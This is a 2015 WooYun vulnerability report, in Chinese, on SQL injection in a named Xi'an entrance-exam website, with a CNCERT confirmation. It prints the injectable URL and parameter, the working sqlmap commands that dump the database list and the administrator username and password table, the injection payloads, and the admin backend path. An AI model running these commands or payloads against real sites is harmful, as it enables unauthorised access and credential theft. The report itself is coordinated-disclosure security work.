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缺陷编号:wooyun-2015-0129862

漏洞标题:某市招生考试网存在sql注射可登陆后台

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-07-30 19:16

修复时间:2015-09-17 16:38

公开时间:2015-09-17 16:38

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:1

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-07-30: 细节已通知厂商并且等待厂商处理中
2015-08-03: 厂商已经确认,细节仅向厂商公开
2015-08-13: 细节向核心白帽子及相关领域专家公开
2015-08-23: 细节向普通白帽子公开
2015-09-02: 细节向实习白帽子公开
2015-09-17: 细节向公众公开

简要描述:

西安市招生考试网(xaks.com.cn)存在sql注射漏洞,可获取网站后台登陆账号密码。
可对西安市下各区县发布公告,可修改网站信息。
此网站与中考息息相关,若此站点被人恶意发布虚假信息可能会造成极大影响。
(虽在该站点醒目位置有"陕西招生考试信息管理与服务平台(www.sneac.com)")

详细说明:

注入点--> http://www.xaks.com.cn:80/search.aspx
网站后台--> http://www.xaks.com.cn/webCenter/
注入点--> http://www.xaks.com.cn:80/search.aspx

.\sqlmap>sqlmap.py -u "http://www.xaks.com.cn
:80/search.aspx" --data="strquery=-1" --current-user --current-db --dbs
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20141220}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 04:42:44
[04:42:44] [INFO] resuming back-end DBMS 'microsoft sql server'
[04:42:44] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Parameter: strquery (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: strquery=-1%' AND 5496=5496 AND '%'='
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: strquery=-1%' AND 7305=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR
(107)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (7305=7305) THEN CHAR(49) ELSE CHAR
(48) END))+CHAR(113)+CHAR(120)+CHAR(112)+CHAR(118)+CHAR(113))) AND '%'='
---
[05:04:05] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows
web application technology: ASP.NET, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2000
[05:04:05] [INFO] fetching current user
[05:04:05] [INFO] resumed: webistesnew
current user: 'webistesnew'
[05:04:05] [INFO] fetching current database
[05:04:05] [INFO] resumed: websites
current database: 'websites'
[05:04:05] [INFO] fetching database names
[05:04:05] [INFO] the SQL query used returns 11 entries
[05:04:05] [INFO] resumed: discuz
[05:04:05] [INFO] resumed: master
[05:04:05] [INFO] resumed: model
[05:04:05] [INFO] resumed: msdb
[05:04:05] [INFO] resumed: Northwind
[05:04:05] [INFO] resumed: pubs
[05:04:05] [INFO] resumed: schooldownload
[05:04:05] [INFO] resumed: tempdb
[05:04:05] [INFO] resumed: websites
[05:04:05] [INFO] resumed: wsbm
[05:04:05] [INFO] resumed: xxcx
available databases [11]:
[*] discuz
[*] master
[*] model
[*] msdb
[*] Northwind
[*] pubs
[*] schooldownload
[*] tempdb
[*] websites
[*] wsbm
[*] xxcx
[04:42:44] [INFO] fetched data logged to text files under 'C:\Users\_\.sqlmap\
output\www.xaks.com.cn'
[*] shutting down at 04:42:44


在websites库webistesnew.T_datalist表中可看到管理后台为http://www.xaks.com.cn/webCenter/

.\sqlmap>sqlmap.py -u "http://www.xaks.com.cn:80/search.aspx" --data="strquery=-1" --dbs -D websites  -T webistesnew.T_datalist -C filepath --dump


1.png


在websites库webistesnew.V_yhjs表中可看到管理员账户和密码

.\sqlmap>sqlmap.py -u "http://www.xaks.com.cn:80/search.aspx" --data="strquery=-1" --dbs  -D websites  -T webistesnew.V_yhjs -C dlm,jsmc,passmima --dump


2.png


密码加密方式为md5

漏洞证明:

sql-->用户名/密码

2.png


网站后台的用户管理

用户管理.png


网站内容发布和修改

网站内容发布和修改.png


区县公告的发布和修改

区县公告的发布和修改.png

修复方案:

过滤......
修改密码......
管理后台可对内......

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-08-03 16:37

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给陕西分中心,由陕西分中心后续协调网站管理单位处置。

最新状态:

暂无